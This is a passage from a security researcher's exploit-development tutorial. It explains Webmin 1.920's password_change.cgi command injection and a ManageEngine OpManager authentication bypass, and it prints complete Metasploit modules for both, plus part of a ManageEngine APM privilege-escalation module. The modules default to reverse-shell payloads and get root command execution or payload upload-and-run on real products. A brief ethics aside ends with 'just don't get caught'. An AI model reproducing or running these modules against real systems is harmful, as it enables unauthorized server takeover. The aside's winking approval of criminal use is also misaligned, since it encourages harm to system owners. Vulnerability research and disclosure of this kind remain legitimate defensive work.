if res && res.code == 200 && res.body.include?('.loginDiv')
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => @uname,
'j_password' => @pwd,
'submit' => 'Login'
}
)
print @uname + "//" + @pwd
puts res.body
if res && res.code == 303
print_good("Privilege Escalation was successfully performed.")
print_good("New APM admin username = " + @uname)
print_good("New APM admin password = " + @pwd)
res = send_request_cgi(
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
check_platform(@cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
end
else
fail_with(Failure::NotVulnerable, 'Something went wrong!')
end
end
end
in this chapter we used sql injection for privilege escalation and after we used application's own feature to remote code execution.
These were the practical examples I wanted to show.
Now I will show you how to exploit these vulnerabilities with metasploit.
4.0. Exploitation of discovered vulnerability with Metasploit
In this section, I'm gonna publish "Webmin 1.920 Unatuhenticated Remote Code Execution" vulnerability. And we will exploit this vulnerability with metasploit together. Metasploit is the most commonly used tool I think. It is very simple to use and it has a large library for all kind of exploits. Today We will use the "HttpClient" library which we can use to send HTTP requests. Because we need to have a special library for the HTTP protocol to exploit web applications vulnerabilities. Also Metasploit has a very wide structure in this regard. In addition to the "HTTPClient" library, we should also be familiar with the "ruby" software language. As I said before, you don't have to memorize libraries. You can check the forgotten functions on the internet. We just need to know what we need. That's all Let me show you "Webmin Unatuhenticated RCE" in practice. After the practice we will write exploit with metasploit. in webmin, the "user password change" must be allowed for the exploit vulnerability. this is the only condition. Many webmin managers enable this feature. They allows users to set a new password with the old password. Let's take a closer look at this. While researching on the Webmin application, I noticed some interesting ".cgi" files. One of them is "password_change.cgi" There is only one requirement for the parameters in this file to work, that the "passwd_mode" value in the "miniserv.conf" configuration file is set to "2".
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
So how does the administrator activate this configuration? let's check...
In the "Webmin> Webmin Configuration> Authentication" section, "Prompt users with expired passwords to enter a new one" should be checked. This means a value of "2" for "password_change" in "miniserv.conf".
After this configuration, users can change their expired password by verifying their old password.
So where exactly is the vulnerability? Let's back to "password_change.cgi".
"password_change.cgi" sends the old password to "encrypt_password" function in "acl/acl-lib.pl"
This function calls the other function "unix_crypt".
In another section, the same function "unix_crypt" is called again for "Validate old password".
At this point, we will use "vertical bar (|)" by reading the shadow file during validating the old password.
Let's look at this by sending a request with the burp suite.
We sent a request with an ordinary "POST" data, and naturally gave an error "Failed to change password: The current password is incorrect".
The vulnerability is exactly included in the "old" parameter.
It doesn't matter if the username, old password or other information is correct.
The file "password_change.cgi" will check the information in the "old" parameter on the server. It won't even check if the username is correct or not.
we will now use "vertical bar (|)" and try to run a different command on the server.
As you can see, the command "ifconfig" is executed by the server and the output is shown.
Now let's send a malicious payload to the server and receive shell session.
I'll use "netcat" payload for proof. Because I know there is netcat on the server.
As you can see the shell was received. When we run the command "pwd", we can see that the malicious payload is executed in the "acl" folder. Because the function is called here.
This was the analysis of vulnerability. Let's prepare a module with "Metasploit".
- There are mainly two common methods to send HTTP Request.
• send_request_raw (Rex::Proto::Http::Client#request_raw)
Ex: send_request_raw({'uri'=>'/index.php'})
• send_request_cgi (Rex::Proto::Http::Client#request_cgi)
Ex: send_request_cgi({
'method' => 'GET',
'uri' => '/AppSec.php',
'vars_get' => {
'param_1' => 'abc',
'param_2' => '123'
}
})
- Check here for more... Metasploit Wiki
We will make requests to the HTTP protocol with using these methods.
Before adding weakness-related functions to the module, the information that should be included in the "initialize" function must be defined.
This section contains information on vulnerability. We also state what metasploit should pay attention to when running this module.
Please click here for more information...
An important point is that the "exploit" function must be included in the module for the module to work.
Before sending the request, the "cookie", "data" and other HTTP requirements must be defined.
Since this vulnerability is "unauthenticated", we do not need any "cookie" information. However, we need to use the cookie information that the application defines to visitors.
This value can be as follows;
redirect=1; testing=1; sid=x; sessiontest=1
The "Referer" control is set by default in Webmin.
So when sending an HTTP request, we need to make an automated description in the "Referer".
RHOST and RPORT should be combined with SSL and placed in this section.
We create a function called "peer" to cover this part.
All functions can be called into another function with their own name. So now "peer" will mean "Referer" for us.
Well, What we will send as data? The data must contain the parameters of the request we send.
The following will be our data. We will also put payload in the "old" parameter soon.
user=root&pam=&expired=2&old=AkkuS&new1=akkuss&new2=akkuss
Finally, we prefer to use "send_request_cgi". Because the sent data will be automatically urlencode. "send_request_raw" does not urlencode data automatically.
But we'll also use "ctype" because the payload which we'll place must be urlencode too.
For Content-Type, we will place the value "application/x-www-form-urlencoded" in the request.
We can call payload set in metasploit with "payload.encoded" parameter in module.
We can test with the "puts" command, which can be used for print.
Now we can pack the request.
You can use the "reload" command to recognize the changes you make to the file by metasploit.
We have placed payload as "#{command}" in the data. The final version of our module will be like this
It works well :)
It was a simple module. You can put controls according to the requests, or even activate the "check" function for vulnerabilities.
Below is a full version module I wrote for "Webmin Unauthenticated RCE".
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.920 Unauthenticated RCE',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.920 and prior versions. If the password change module is turned on, the unathenticated user
can execute arbitrary commands with root privileges.
/////// This 0day has been published at DEFCON-AppSec Village. ///////
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-'],
['URL', 'https://www.pentest.com.tr']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_python'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
##
# Target and input verification
##
def check
# check passwd change priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "password_change.cgi"),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1"
})
if res && res.code == 200 && res.body =~ /Failed/
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"
})
if res && res.code == 200 && res.body =~ /password_change.cgi/
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
command = payload.encoded
print_status("Attempting to execute the payload...")
handler
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
})
end
end
5.0. Power of 0days and choice between black and white hats
The power of the 0day can make you feel different emotions. You may not want to share your critical vunerabilities. This is natural. However, if you hold them for a long time, they can drag you into illegal activities. This is absolutely inevitable. A vulnerability that no one knows! and when you feel the power to hack thousands of servers, bad things go through your mind. You can sure that So I don't think you should keep it for too long. Because the main reason for not sharing the discovered vulnerabilities are to use it for bad purposes or to sell it for another person. However, the person you sell will use this 0day for bad things. So if you're a whitehat hacker, you should share 0day before it's over. After you, the blackhats can discover the same vulnerability and the black side wins, not the white side. You may also like to wear the black hat. I dont know :) I have no suggestion for that :) just don't get caught :)6.0. Disclosure of public 0days in Webmin and ManageEngine web Applications
Up to this part, I published 2 different 0days. Now let's look at the details of the "ManageEngine OpManager Unauthenticated RCE" vulnerability. "ManageEngine Application Manager Plugin" is integrated to use a significant part of "ManageEngine OpManager". Almost all OpManager applications are installed with this plugin. If "Application Manager" is installed as a plugin, you can only access "Application Manager" from within "OpManager". Without OpManager it will also tell you that this is not possible if you want to login to "Application Manager". Because "AppManager Plugin" controls the users in the database of "OpManager" and allows the transition automatically. In fact, you don't have an "Application Manager" user. While reviewing this Plugin, I noticed a very critical mistake that was left by the developer. We can check if the "OpManager" application uses this plug-in in the source code on the homepage with "/Logout.do?showPreLogin=false" parameters. We've found our Plugin address. "http://192.168.1.5:9090". It works on port 9090 on the same server. It can also work in a different port. I decided to check out the javascript control that was coded for this plugin, and what I encountered was greatly surprised. Only "username" + "@opm" is required for the password in the user information field required for access to Application Manager. By default, "admin" hosts the user in two applications. We already know that. So if the username is "admin", the password will be "admin@opm" :)) This is really funny... As you can see, we have logged into "Application Manager" as "admin". Now we can run the command on the server using the application's own property. I showed it in the section above. I've prepared a metasploit module for this vulnerability.##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine OpManager v12.4x - Unauthenticated Remote Command Execution",
'Description' => %q(
This module bypasses the user password requirement in the OpManager v12.4.034 and prior versions.
It performs authentication bypass and executes commands on the server.
/////// This 0day has been published at DEFCON-AppSec Village. ///////
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Unauthenticated-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60,
'RPORT' => 8060,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
}
}
}
]
],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'OpManager Username', 'admin']),
OptString.new('TARGETURI', [true, 'Base path for ME application', '/'])
],self.class)
end
def check_platform(host, port, cookie)
res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(host, port, cookie, platform, @dir)
end
def file_up(host, port, cookie, platform, dir)
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /awk 'BEGIN{/
filex = ".sh"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end
@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
res = send_request_cgi({
'rhost' => host,
'rport' => port,
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})
if res && res.code == 200 && res.body.include?('icon_message_success')
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(host, port, cookie, dir, @fname)
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end
def create_exec_prog(host, port, cookie, dir, fname)
@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)
if res && res.code == 200 && res.body.include?('icon_message_success')
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(host, port, cookie, actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
end
def exec(host, port, cookie, action)
send_request_cgi(
'method' => 'GET',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)
if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false')
appm_adr = res.body.split('iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
am_host = appm_adr.split('://')[1].split(':')[0]
am_port = appm_adr.split('://')[1].split(':')[1]
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
# Password check vulnerability in Java Script :/
if res.body.include?('j_password.value=username')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Safe
end
end
def app_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)
appm_adr = res.body.split('iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
am_host = appm_adr.split('://')[1].split(':')[0]
am_port = appm_adr.split('://')[1].split(':')[1]
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'rhost' => am_host,
'rport' => am_port,
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['USERNAME'] + "@opm",
'submit' => 'Login'
}
)
if res && res.code == 302 or 303
print_good("Authentication bypass was successfully performed.")
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
check_platform(am_host, am_port, @cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform authentication bypass! Try with another username...')
end
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
app_login
end
end
That's all I wanted to tell you. Below is the information for all 0days and metasploit modules.
0days!
- 10 Aug, 2019 ::
Webmin Unatuhenticated MSF Module CVE-2019-15107
| RCE
- 10 Aug, 2019 :: ManageEngine OPM Unatuhenticated MSF Module CVE-2019-15106
| RCE
- 10 Aug, 2019 :: ManageEngine APM Priv Esc to RCE MSF Module CVE-2019-15105 | RCE
- 10 Aug, 2019 :: ManageEngine OPM Priv Esc to RCE MSF Module CVE-2019-15104 | RCE